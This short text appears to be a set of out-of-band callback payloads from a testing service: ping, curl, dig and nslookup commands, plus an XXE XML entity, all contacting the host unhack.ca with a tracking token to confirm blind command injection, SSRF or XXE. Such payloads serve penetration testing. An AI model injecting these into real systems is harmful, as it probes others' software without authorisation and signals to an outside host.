$ ping -c1 -p 00c619d3d4b6264ea7634e5ddb858800 unhack.ca
 

$ curl http://unhack.ca/p/c619d3d4b6264ea7634e5ddb8588
 

$ dig c619d3d4b6264ea7634e5ddb8588 @unhack.ca
 

$ dig c619d3d4b6264ea7634e5ddb8588.ns.unhack.ca
 

C:\> nslookup c619d3d4b6264ea7634e5ddb8588 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c619d3d4b6264ea7634e5ddb8588">]>
    <foo>&xxe;</foo>